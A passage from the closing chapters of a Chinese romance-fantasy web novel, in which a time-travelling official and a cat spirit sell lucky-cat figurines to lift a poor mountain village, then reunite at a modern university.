见大街上几乎所有人都驻足好奇地望过来时,华画只觉大脑一片空白,完了完了,哪里有缝,可以钻进去?
已经有人走了过来:“招财猫是什么?我看看行不?”
“当然可以!”余玥玺顺手打开桌下的布袋,从里面取出一只招财猫,并摆在了桌子上,用夸耀的叩问道,“就是这个了,您看看?”
那人拾起其中一只招财猫,摩挲着它冰凉光滑的脑门,点头道:“模样确实不错,您刚刚说这东西叫什么来着?”
“招财猫。”余玥玺答。
那人先是看了看自己手中的招财猫,又将桌子上一列排开的招财猫看了遍,最后惊讶道:“居然还长得都不一样?”
余玥玺得意地点头:“确实,每一只都是不一样的,都是独一无二的,怎么样,您觉得如何?”
那人放下了手里的招财猫,提出了一个至关重要的问题:“猫是猫,为什么是招财猫?是有什么特殊的地方吗?”
“当然,因为它们是公的。”余玥玺带着沉静的微笑,从容不迫地回答,“而这个花色的猫,极少会出现公的,这应该足够特殊了吧?”
这时又走过来一个人,看起来像是刚刚丢下了自己的摊位过来的一样,她嗓门很大,声音洪亮:“叫啥招财猫?给我看看!”
“好嘞,都在这了,您随便看看就成!”余玥玺的笑容绝对完美。
“看起来不错。”后来的那个人很爽快地大手一挥,“给我来两个,我给我妹妹也买一只。”
余玥玺拍了拍手道:“好,钱您看着给就行。”
“什么叫看着给?”
“就是您觉得多少合适给多少就行。”余玥玺眨了眨眼睛,指了一下桌子上的粥,“但也不能给太少,比如也不能少于这碗粥的价格吧?”
周围的行人越聚越多,逐渐将这个小小的粥摊围了个水泄不通,粥摊老板目瞪口呆,他险些都被挤出去了。
“这是在做什么?”他问。
但没有人回答他。
“我还能继续做生意吗?”他又问。
但依旧没有人回答他。
泄了气的他一屁股坐在了凳子上,抬头望着棚顶。
“老板。”是那个将数十人引过来的害得他没法好好做生意的年轻女子,老板低下头,不带任何情感色彩地问:“干嘛?”
余玥玺手里握着一个招财猫,递给了老板:“给您的。”
“给我的?”老板不可置信,“你不会打算用这个抵粥钱吧?”
余玥玺笑得坦然:“怎么,不可以吗?”
“……可以。”
余玥玺一走,所有人的注意力便转移到华画身上了,华画惶恐不已、浑身僵硬,脸上却带着像画出来的假笑。
他除了点头就是摇头,报以真诚微笑。
有人便说了:“看着倒像是个傻的。”
华画便迅速道歉:“对不起。”
又有人哈哈大笑:“刚刚那个姑娘是你什么人啊?你俩不是一起的吗?咋你啥都不知道呢?”
华画又开始摇头,被这么多道好奇的目光打量,真的让他招架不住了。他望向余玥玺离开的方向,期待她能马上就回来解救他与水深火热之中,但她,居然和粥摊老板聊起来了?
他收回视线,抬头看着问话的人,扯了扯嘴角道:“爱买不买,不买别问,东西都摆在这里了,价钱也说是看着给,怎么你话这么多呢?”
此话一出,在场几乎所有人都安静了一瞬,华画僵着脸抬着脖子,表情虽还是带笑的,却莫名让人看出了一丝不耐烦。
华画继续开口:“买吗?买吗?买了保准你发大财,我说的,我保证。”
他的瞳孔幽深的黑,倒有些令人不寒而栗了:“买吗?”
“我买。”是问话的那个人,他的动作不大自然,一手交了钱一手接过招财猫,等招财猫到了手中以后,他似是忽然醒了过来一样,“怎么了?我怎么就?”
“感谢支持。”华画淡然一笑,又面向了其他人,“还有谁要买的吗?”
人群中钻出来一个年纪不大的年轻人,他一开口明显就在找茬:“你说能发财就发财?买回去没效果我来找你?”
华画眯眼,声音也逐渐不客气起来:“心诚则灵。”
他的声音平静却带着些许压迫感,让人怎么也没想到刚刚还看着有点呆的人怎么一转眼就如此锋芒毕露了。
这一副从容不迫的姿态倒加深了招财猫的可信度,就这样又卖出了三个。
一双手扶上了华画的肩膀,华画抬头,余玥玺便垂头,笑着看他:“不错。”
华画的眉舒展开来了,笑容重新变得柔软,他也微笑:“还是没你厉害。”
“好了,我们走。”余玥玺的
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手滑落,自然地落到了招财猫上,“收拾一下,我们去街头卖,顺便打响知名度!该做什么还记得吗?”
“嗯,变成猫?”
“算了,不用了。”余玥玺摇了摇头,“你就这样待在我的身边吧,信不信随他们!”
华画竟然有些感动,终于存在一次自己的人身比猫身有用了吗?他无比殷勤地收拾着招财猫,整个人似是容光焕发一般跟在余玥玺的身后。两人的身后,跟着一长串好奇的人们,而这个队伍还在不断壮大,随着余玥玺脚步的停顿,他们也停了下来。
余玥玺随意将布袋摊开,将招财猫在布袋上排开,而后她清了清嗓子:“来看一看?第一炉招财猫!若要问这招财猫产自哪里,请认准烂泥村出品!”
“烂泥村在哪?”有人问。
余玥玺遥遥一指:“在这附近的山上,一个很小很贫困的村子。我为它取名为招财猫也是希望它能为烂泥村带来财富。”
她的语气温和却又坚定,而理由也是如此让人心动。
买到的人高高兴兴而去,没买到的人则愁眉苦脸地问:“您还能再来吗?”
余玥玺答道:“我还会再来一次,不过后来的话,你们若是想要再买的话,恐怕就需要到烂泥村亲自买了。”
她向众人点头致意,而后扯了扯华画的衣角,歪头一笑:“我们走吧。”
华画略有些紧张道:“布袋呢?”
余玥玺潇洒一摆手道:“不要了。”
华画立即快跑了几步,跟上了余玥玺,而余玥玺也顺势挽住了华画的胳膊,华画僵直了一瞬,而余玥玺却笑道:“怎么,不喜欢?”
“没有。”华画一板一眼地回答,然而身体却放松了下来,也松松地挽着余玥玺的胳膊。
“时候还早,我们逛逛街?”余玥玺问,她指着远处一个炸糕点的摊子道,“早上没吃饱,再买点?”
华画点头:“好。”
将油炸糕点买回来以后,余玥玺又道:“有些干,再买点喝的?”
华画依旧点头:“好,买。”
买了一杯木樨茶后,余玥玺喝了一口,倒是不甜,她便又指着一个稍远的摊子道:“再买一串糖葫芦?”
而华画依旧没有拒绝:“好,可以。”
糖葫芦也被买回来了,余玥玺咬下一颗,又笑眯眯抬手,将糖葫芦横在华画的嘴边道:“嗯,来一颗?”
华画微微一怔,瞧了瞧余玥玺的脸色,小心地咬下一颗。
“怎么样?”
“好吃。”
“那便好。”余玥玺又是灿烂一笑,她的目光又被摊子上的各类饰品吸引了去,“这个好看,这个也好看,这些都好看。”
华画便接过话头:“喜欢,那都买了?”
“这倒不用。”
然而华画已经买下了被余玥玺看了最长时间的那只簪子,他付过账以后递给了余玥玺,余玥玺顺手接过,笑意盈盈地问:“你怎么如此顺应我的心意?”
“你喜欢就好。”华画依旧如此回答。
二人继续手挽着手前行,阳光正好,一切未曾说出口的心意就这样都融入了市井烟火中。余玥玺抬头看着华画的侧脸,感受到这股目光的华画也侧过了脸看向余玥玺。
“前面有一间书铺,进去看看?”
“好。”
48.我愿等你千年
招财猫大获成功,余玥玺甚至都没有再第二次下山,就已经有人从山下上来了,那人居然还误打误撞地找到了余玥玺的院子。
“招财猫?”那人一见余玥玺就急切开口,像是余玥玺的大名就叫招财猫一样。
“您是?”余玥玺十分确信自己没见过这个人,同时也在惊讶这个人是怎么找上门的。
华画立马站起身,不动声色地往余玥玺身前一挡,目光警惕地看着来人,余玥玺却拍了拍他的后背,示意他不要如此紧张。
“您是来找我的?”余玥玺问。
来人点头,神色疲惫却又带着些许隐秘的欣喜:“请问这是烂泥村吗?”
“嗯,是的。”余玥玺仍有些困惑,“要不您还是说说您怎么上来的吧……来这里又有什么事?还有,您是来找我的?”
“应该是。”那人道,“我只记得招财猫了,哦对了,还有烂泥村。”
余玥玺沉吟片刻,又问:“您是在哪里知道招财猫这种东西的呢?”
“看见的咯,我常去的那一家饭馆,柜台上就摆了一个长得像猫一样的摆件。模样还很精致,我问老板这叫什么,从哪弄来的,他和我说这叫招财猫,来自烂泥村。”
还没等余玥玺做出其他反应,那人又犹豫道:“不过我觉得我应该是来错地方了……”
“不不不,您没来错地方!”余玥玺急切道,她向华画使了个眼色,华画便也帮腔道:
“对,就是这里!”
余玥玺跨出院门,笑道:“您若是不相信,我带您去看看,我们村的招财猫,都是在一个瓦窑里产出来的。”
“也好,那我就和你们去看看了,有新出炉的吗?”
“当然有,原本就打算明日再下山的,但结果今天有人找上来了,对我们来说,倒也是一件惊喜的事情。”余玥玺相当殷勤地引路,一边还介绍着,“所以请认准我们烂泥村出品的招牌招财猫!”
来人没搭腔,只是一个劲儿地叨叨着自己的不满:“哎,你们这个村子,怎么这么难找?我问了好多人,才勉强听到一些消息,这山连一条像样的山路都没有,上来可让我费老劲了!”
他又转动脖子,将烂泥村的一切景物尽收眼底,发出惊奇的声音:“这村子咋这么破?”
余玥玺只好尴尬地笑笑:“确实太穷了,这不就想出一条出路来了吗?”
来人倒也朴实的很:“会越来越好的,别瞎但心了。”
于是余玥玺便一笑:“呈您吉言。”
说话间,三人已来到瓦窑这边,工匠们三三两两随意地坐在地上,见余玥玺来了,便纷纷站起来同她问好:“大人好。”
领头的工匠自然是看见了来人,很是熟稔地问:“来看招财猫的?请吧,这些都是了。”
来人点点头,迈着步子走上前去,对着地上的招财猫们挑挑拣拣,良久他才反应迟钝般开口:“都不一样?”
“好东西。”他又道,随手拿了一个起来后,他又拿了另外一个在手中,掂量了一番后点点头,“好东西,真不错,比我在饭馆里看到的那个还要好。”
余玥玺很得意:“自然,一回生二回熟,这招财猫自然也是越做越好的。甚至我们还有爪子可动的招财猫,不过这个可能要等一段时间。”
“还有爪子能动的?这个好!”来人眼见的兴奋起来,“什么时候能有,我再上来?”
“大约五天后。”余玥玺思索片刻后回答。
来人倒也爽快,点点头,丢下一袋银两道:“这是定金,那这两只招财猫我就带走了,还有五天过后我再过来。你们应该不能不承认吧?”
“嗨呀,怎么会,您一定要相信我们,都是本分人。”余玥玺接过钱袋子,笑容真诚,目送着来人离开了。
她面向华画,脸上绽开了一个笑容:“烂泥村的第一桶资金!”
华画点头道:“我就说你一定可以的。”
“那是当然!”余玥玺摇了摇手中的钱袋子,脸上表情充满了对未来的向往,“烂泥村的未来啊,一片辉煌!”
“那自然还是你的功劳最大。”华画抬眼看余玥玺。
“别说闲话了,今后还得更加努力做招财猫才是啊!说不定,从今天开始,山下来的招财猫的订单说不定就会和流水一样哗啦啦淌向烂泥村!”余玥玺一振臂,精神亢奋,又开始招呼工匠们,“第一批爪子可以动的招财猫要尽快提上进程了!大家加油!”
工匠们也是干劲满满,随着余玥玺的一声招呼又投入了工作中。
余玥玺悄悄捏了捏华画的手,笑着问道:“你觉得烂泥村什么时候能真正富裕起来呢?”
华画很不确定地摇头,却问了一个他一直以来就想问的问题:“你为什么会来这里呢?这里这么穷,你为什么会愿意来这里呢?这次正面回答我好吗?”
“原来我一直没有告诉过你吗?没什么特殊的理由,就是我愿意。”余玥玺一副无甚所谓的样子,平静道,“我想来就来了,再说了,我不该来吗?”
“每个地方都不该被随随便便放弃,我看不过去,就和龙椅上坐着的那个人吵了一架,然后就来这里了。”
余玥玺忽又狡黠一笑:“怎么样,这个回答还满意吗?绝对是没有半点虚言的哟。”
“我不理解,但我觉得你很厉害。”华画垂头,“居然只是这个原因吗?”
“不然呢?没什么伟大的理由,就这样。”余玥玺呼噜呼噜华画的脑袋,声音带着隐隐的笑意,“不要把人想得太复杂,做一件看似不可能完成的事,有时理由就是很简单。或许,你以后就明白了呢?还是要和人多多接触呀,华画。”
华画无言,点点头,就在余玥玺转身要离开时,他又叫住了余玥玺:“你会离开吗?”
“就是在烂泥村不再像如今这样的时候。”
余玥玺淡淡地微笑了:“虽然很想说个谎话来骗你,但我不喜欢说谎。所以,我应该是会的。”
“但你之前还……”华画急了,伸出手就要拉住余玥玺,像是下一刻余玥玺就会原地消失一样。
余玥玺比了一个“嘘”的手势,脸上仍带着淡淡的笑意:“都不是谎话,都是真的。但如果说哪个可信程度更高一点的话,还是今天的这个吧。”
“你怎么跟要哭了一样,别哭。”余玥玺略有些慌神,但她又不大会安慰人,只好说“别哭”。
华画倒也是个犟的,声音都有些哽咽了,还在嘴硬:“我没哭,我也没想哭。”
“但我现在还在,我们一同存在的记忆还没有中断,不是吗?再说了,我又不会随随便便消失。这个我向你保证,好吗?”余玥玺又只好安抚般地拍拍华画的头,“这样吧,五天后,我会和你说一件关于我的事情,你会等我吗?你知道我要听哪句话的。”
华画一点没停顿,回答道:“我一直都在。”
“有你这句话我也放心些了,至少和我猜得没错,一定要等我啊。”余玥玺向他微笑,而后迈步向瓦窑处的工棚走去。
华画按捺下探究的好奇心,也跟着余玥玺走近了工棚中。
五天后。
那日上山的人果然再次上来了,这次来的不止他一人,浩浩荡荡的居然有十数人。
“招财猫要多
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少有多少,我们全包了。”那人说。
余玥玺瞪大眼睛,她没太料到会是这个结果:“你们是指,有多少要多少吗?”
“是啊,我们那边的人都稀罕这小玩意儿,买也买不到,就直接上山来了。”其中一个女子开了口,“我们这些没有的都快羡慕死了那些有这个的了,把这小玩意儿往柜台上一摆,还真的能吸引到客人!嘿,真是神了。”
听到这个回答的余玥玺很是满意,大手一挥,就带着这样一群浩浩荡荡的人前往瓦窑了。烂泥村的村民们哪见过这阵势,远远地围观着,口中啧啧称奇。
“这莫不是烂泥村真的等到出头之日了?”
所有从山下上来的人都在挑选着自己满意的招财猫,第一日来的那个人将余玥玺拉到了一边,从怀中掏出一张纸来,对余玥玺说:“我打算与您达成长期合作,从您这购买招财猫,您意向如何?”
“价钱到位,而且要保证烂泥村是原始产出地,即招财猫只能由我们烂泥村制作。怎么样,可以做到吗?”
“当然当然。”那人忙不迭点头,“您这里才是正宗的,如果可以的话,您就在这里签个字,盖个手印吧。”
“好。”余玥玺在谨慎地浏览了一遍所有的条目后,确认没有可以蒙混过关的条例后,才签上了自己的名字,并摁了一个指印在上面,做完这一切后,她笑道,“这样便好。”
很快,这些人就离开了,带走了所有的招财猫,并留下了数目可观的一笔银两。烂泥村的村民们也逐渐围了上来,看着他们这辈子都没有见过的这么多的银两。
沉默良久,最后还是韩大姨开了口:“我们烂泥村终于看到未来了。”
而余玥玺却只是淡然微笑:“等着吧,这还只是开始呢。”
当晚,华画又将雕花桌椅搬进了余玥玺的院子中,桌上仍摆着一瓶酒,几道菜,待余玥玺坐下以后,华画终于鼓起了勇气问:“现在你可以告诉我你的事情了吗?”
“当然。”余玥玺回答,自顾自给自己倒了一杯酒,又替华画满上,“你会相信我的,对吧?”
“我一直相信你的。”华画委屈道,“就不用再试探我了。”
余玥玺点点头,一口饮尽了杯中酒,给自己又倒满了一杯,又是一口喝干了,华画心惊,想要阻止她继续喝下去。
“你别这样……我害怕,别喝了,说吧,我能承受的起。”
余玥玺苦笑道:“没有勇气再说出来的是我,我也不知道该怎么说了。”
她深吸了一口气,直直地注视着华画的眼睛:“我不是这里的人。”
华画点头:“我知道你不是烂泥村的人,你是皇城的人,你要回去的——”
“不,我甚至不是这个时代的人。”余玥玺就这样轻而易举说出了她这个一直藏于心的秘密,“我来自很遥远很遥远的将来。”
华画的大脑逐渐一片空白,嘴逐渐不受控制地问:“有多远?”
“远到你无法想象,虽然依旧存在穷人,但不会有人再放弃他们,给他们活下去的希望;虽然依旧存在如此偏僻的地方,但总有通道可以通往那里,同时他们也可以自己选择出去还是留下;而且啊,已经没有战争了。”
余玥玺的声音逐渐缥缈。
“我等你。”
这一句话将余玥玺的回忆拉回了现实,眼前的华画正看着她,神色认真:“我会一直等到你再次出现的。”
余玥玺感觉自己的眼眶有些发热了,她仰头又喝了一杯酒,掩饰并很大声地笑道:“哪怕千年?”
“嗯,哪怕千年,我会一直等到你再次出现的。”
49.终于等到你
“同学,同学?别睡了,图书馆要闭馆了。”
余玥玺吓了一个激灵,出窍的灵魂仿佛又重新归体了一般:“啊!我怎么会在这里!我怎么回来的?”
她一下从椅子里蹦了起来,倒是把图书管理员吓了一跳:“同学?你睡糊涂了?”
“没有没有,我只是想起了一件高兴的事情。”余玥玺一边道歉一边迅速收拾好桌子上的书,压在最上面的那本小册子很是眼熟,封面绘着看不清面容的女官和一只色彩鲜艳憨态可掬的招财猫,她拿起问,“抱歉啊,可能还要再麻烦您一件事,我想登记一下这本书可以吗?”
图书管理员接过,面露疑惑:“怎么连编码都没有?这要怎么登记?要不还是先给我吧,我回去再好好对照一下哪里出了问题……”
这怎么行?余玥玺总算是把那该死的还没有完成的论文任务给想起来了,她笑呵呵地说:“我确实睡糊涂了,这书是我自己带过来的。那我不打扰您了,我走了!”
接着余玥玺就将那本小册子塞进了书包里,一溜烟地跑走了。
待她跨出了图书馆的大门以后,才发觉天已经泼了墨一般的黑,天幕之中隐约闪烁着几颗星星,夜风愈紧,吹在脸上带着些许凉意。此时早已过了下晚自习的时间,路上学生寥寥。
她凭着记忆找到了食堂,又凭着记忆回想起了数字支付功能,磕磕绊绊地买了一碗馄饨在食堂里吃着。
一吃上饭了,手机又在手上,余玥玺便不自觉开始刷起了手机。
打开某个绿色聊天软件,寝室群聊里的一连串的消息便蹦了出来:“你人呢?人呢?”
“电话电话不接,短信短信不回,你是被外星人劫持走了吗?”
“约会去了?不带姐几个看看?”
“快回来,你论文还没写完呐!!!”
余玥玺的手指在屏幕上滑动了几下,发送出一串消息:“不好意思,一直在图书馆,没看见消息。人在食堂,马上回去。”
回复很快就出现了:“哟哟哟,一整天都在图书馆~”
“呃,不小心睡着了。请务必帮我保守秘密!”
室友们相当有默契地跟着发了一串“哈哈哈。”
馄饨吃完,余玥玺慢吞吞地沿着一闪一闪的路灯踏上了回宿舍的路,站在宿舍楼下了,她抬头,思索自己的寝室号,思索无果,她重新打开手机,发送了一条信息在群里:“我们寝室的寝室号是什么?”
“你把脑子落在图书馆了吗?明天一定记得带回来啊,404。”
余玥玺收了手机,正准备走近宿舍大楼的时候,耳边又响起了猫叫声,她扭过头,是一只三花猫,竖着尾巴看她,歪着头,眼睛绿莹莹的。
“华画?”她不自觉向猫走近了一步,但它见余玥玺靠近了,却一溜烟跑开了。
怎么可能所有的三花猫都是他呢?余玥玺叹了口气,上楼敲门,门开了,从里面探出室友叼着牙刷的头,她唔理呜噜地说:“你还知道回来呢。”
“是是是,快让我进去,冻死我了。”余玥玺一个侧身挤了进去,放下了自己的书包,坐在自己的位置上时,她有些恍然,所经历的一切前不久还那么真实,却转眼就变成了过往云烟。
“玥玺,你还不去洗澡?热水要停了哦,别发呆了。”
“我就说她把脑子落在了图书馆嘛。”
余玥玺懒得理,走到阳台取下毛巾,转身走进了浴室,热水一开,热气氤氲,洗去了满身的疲惫。
而她已经几乎有十多年没体验过了。
洗过了澡,余玥玺便准备上床睡觉了,而室友们也纷纷降低了音量,窸窸窣窣地做着睡前准备。然而灯一灭,所有人的话匣子便打开了。
“下周有联谊会哦,你们要不要去?”
“嘿嘿,有帅哥吗?没有不去,我的时间可是很宝贵的。”
终于有人问起了余玥玺:“玥玺啊,你今天怎么了?怎么一句话都不说?”
余玥玺很简短地回答:“我累了。”
“可你不是才在图书馆睡了一天吗?”
“就是很累,不要说了,我睡了。”余玥玺的声音听起来倒是真的困倦了,“你们也小点声吧。”
“算了算了,不聊了,大家都睡吧。”
寝室瞬间安静了下来,而余玥玺却又睁开了眼睛,盯着某团阴影发呆,良久又闭上了眼睛。
招财猫给烂泥村带来了巨大的成功,订单如流水一般从山下传到山上,山路也被修好了,村路也平整了起来,村民的房子也是越来越稳固越来越宽敞了。曾经那个破败的烂泥村摇身一变,变成了她理想中的模样。
最后,招财猫的产业甚至传到了皇城,变作了达官贵人们家中或案台上的常客。她没有再回到皇城,也没有再继续做官,而是一直经营着招财猫,华画一直陪伴在她的身旁,并再也没有问起“她什么时候会离开”这个问题。
明明前不久还同他约定会做更多的事,然而她自己就这样又莫名其妙被抛回了自己的时代,快到她都未曾留下只言片语。也不知华画会不会……
余玥玺重新闭上了眼睛,梦中她又梦见了华画,他牵着自己的手,走在一片林荫小道上,华画还是那副样子,带着不怎么聪明的笑容,对她说:“你还好吗?我很想你。”
她刚想回答,闹铃声却响起了,将本就像泡影的美梦搅了一个粉碎。余玥玺翻身坐起,摊开手掌看向自己的手心,那里似乎还残留着些许温度,她握紧了,像是这样做就可以重现梦中的那个场景一样。
似乎只有她一人醒了,还有一人翻了个身,说了一句含糊不清的梦话。
余玥玺蹑手蹑脚下了床,下铺的室友将眼睛睁开一条缝:“玥玺,你又这么早就醒了啊?去干嘛?”
“吃饭。”余玥玺说,“你睡你的吧,你昨晚,不对,你肯定熬到了凌晨。”
“嗯嗯。”下铺只来及哼哼两声,又闭上了眼睛。
她轻手轻脚地洗漱,临离开前又轻轻关上了门。清晨的校园,连空气都是清新的,空气中漂浮着淡淡的雾气,远处的景物朦朦胧胧,能看见晨跑的和背单词的学生。余玥玺又转转脑袋,看见了屋檐上停留的一串鸟。
如果能再见到华画的话……
余玥玺在食堂中买了两个包子一杯豆浆,她就这样咬一口包子喝一口豆浆,在抵达图书馆之前成功解决了自己的早餐。轻车熟路抵达她最熟悉的历史区,找一处空着的有插座的位置,打开电脑新建文档,做完这一切后,她又开始发呆了。
到底要怎样叙述“自己”的功绩呢?她似乎做不到跳出自己的视角来看待这件事,但论文还是要完成的,余玥玺只好又翻开了那本小册子,期望能找到一个更客观的视角。
册子比她印象中的要旧一些,纸页微微发黄,上面的文字似乎是手写的,小而密集,看着倒是眼熟,余玥玺像是想起什么一般,迅速翻到了最后一页。
“于梦中辞世。”
以及三个字“等着我”。
余玥玺重新合起了册子望向室外,心中升起了期盼,微笑不自觉挂在了嘴角,她在心里默念:“那好,我也等你来找你。”
论文终于赶在截止时间前完成了,将文稿投递到教授的邮箱后,余玥玺才算真正松了一口气,她仰倒在椅子中,长长地舒了一口气。
“你做什么事都认真,这又不是毕业论文。”其中一个室友笑了,“要真到那个时候,我都怕你的头发掉完了。”
余玥玺夸张地叹了口气:“要真到了那个时候,你们合资给我买一顶假发吧,正好圆了我不能把头发染成绿的这个梦想。”
“何止绿的,赤橙黄绿青蓝紫都给你来一顶哈哈哈,就问你满不满意?”
“满意——”余玥玺懒洋洋地拉长了声调,又开始发呆。
另一个室友走来,轻柔地捧起了余玥玺的脑袋,低头看她:“又在发呆?你最近是不是很累啊?我们一起出去逛街吧?晚上可以一起去搓一顿火锅?当然如果你想吃其他的也行。”
“火锅好哇!”又一个室友摘掉耳机,兴奋地开始嚷嚷,“我真的受够学校的食堂了!就火锅吧,火锅好不好,求求你了,我亲爱的小玥玥~”
余玥玺微笑点头:“好啊,这有什么不可以的。”
走在现代的街市中,她一边挽着一个,有一下没一下地应和着室友们的奇思妙想
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,经过“纪念日”的时候,女孩们都不约而同停下了脚步。
“进去看看?”余玥玺明白她们在想什么。
从小摆件到小饰品,再到小零食及各类周边衍生品,这间店的包容性是如此之强,余玥玺漫不经心地走着,但忽然她的目光被吸引住了。
那是一个极小的招财猫摆件,右爪抬起,一上一下地摇晃,她几乎是想都没想就将它握在了手中。待走出了“纪念日”以后,她依旧没松开手。
“玥玺,你买了个招财猫?这是何意?”
余玥玺一笑:“就是招财运而已啊,放在我们寝室里,让我们所有人都发大财!”
“哈哈哈哈哈,那可太好了,让我摸摸沾沾好运!”一个手快的室友立马摸到了猫头上。
次日,余玥玺收到了一条好友申请,昵称单名一个“画”字,头像是一只招财猫,几乎是下意识的,余玥玺通过了。
很快,对面便发送来了一条短信:“我终于等到你了。”
余玥玺盯着屏幕良久,终于打出来两个字:“华画?”
“嗯。”
“你等我等了多久?”
“比我预想的要短,没有一千年。”
“你在哪?我去找你。”余玥玺又迅速打出这一行字,不管多远,她都要去找他。
华画那头的信息也相当快:“我就在你身边。”
接着是一张学校新食堂的图片:“我就在食堂门口,请你吃东西?余大人?哦不,现在或许该称呼你为余学姐了。”
余玥玺忽然就止不住地笑了出来,一旁嬉笑打闹的室友们停下动作,带着八卦的眼神看过来:“哟哟哟,笑这么开心,谈上了?”
“对!走啦!拜拜!”余玥玺起身,很是潇洒地一甩刘海,转身离开了寝室。
那人就是华画,余玥玺很确定,他的面容倒是没怎么变,一对圆溜溜的眼睛,属实算不上精明。华画似乎也见到了她,并向她走了一步,他的手中还提着一杯奶茶,待余玥玺走近以后,他递给了她,而余玥玺也自然接过。
“我差点没认出你来。”华画笑着说,“你的变化还是有点大的。”
“但你还是认出来了。”余玥玺说。
“因为我每天都在想你长什么样子,没有一天不是,我很害怕我会忘了你。”华画用力挤出一个笑容,“我怕我等不到你,我还怕我在等到你之前就消散了。”
“但你还是等到我了。”余玥玺依旧这样说。
华画向余玥玺伸出了手,余玥玺则是挽住了他的胳膊,二人沿着校园小道前行,大学校园里的情侣很多,在旁人眼中,这一对也没什么不同的。
“这还要感谢你啊,如若不是你,我恐怕早就消散了,是你给了烂泥村未来,也给了我存在的可能。”
余玥玺抬手刮了刮华画的鼻梁:“好啦,我们都已经见上面了,就不要再说这些话了,好吗?”
华画点头:“好。”
他倒真的不再说这些了,他开始谈起烂泥村的村民们。
“周姑娘后来也入朝为官了,虽然品级不是很大;桃儿和柳儿他们在皇城开了一家药铺,柳儿学了医,桃儿闲暇时候便授课;还有乔河,他虽然还是个上不了太大台面的暗卫,但他只护一个人,那便是周姑娘。”
听了这话,余玥玺又开始笑:“你的个人情感色彩还是那么浓厚,别说他们了,你呢?你这些日子是怎么过来的?又怎么成为了我的……学弟?等等,你不会和我学的同一个专业吧?你又是怎么参加高考的?不对,你有身份证?”
华画露出一个坏笑:“这些对我来说算不上什么的,不过,我的专业倒也是和你的相关程度比较大,是考古。”
“很大吗?”余玥玺歪头,挑了挑眉,“不过我只知道考古专业的出来不好找工作哦。”
“我不在乎这个。”起风了,华画将余玥玺的手又握紧了一些,“我只在乎你,在乎你会不会让我靠近。”
“这个问题你居然还要想吗?”
“嗯,不想了。”
暮色四合,夕阳温柔,今后的路还有很长,足够他们就像这样一直牵着手走下去。
(全文完)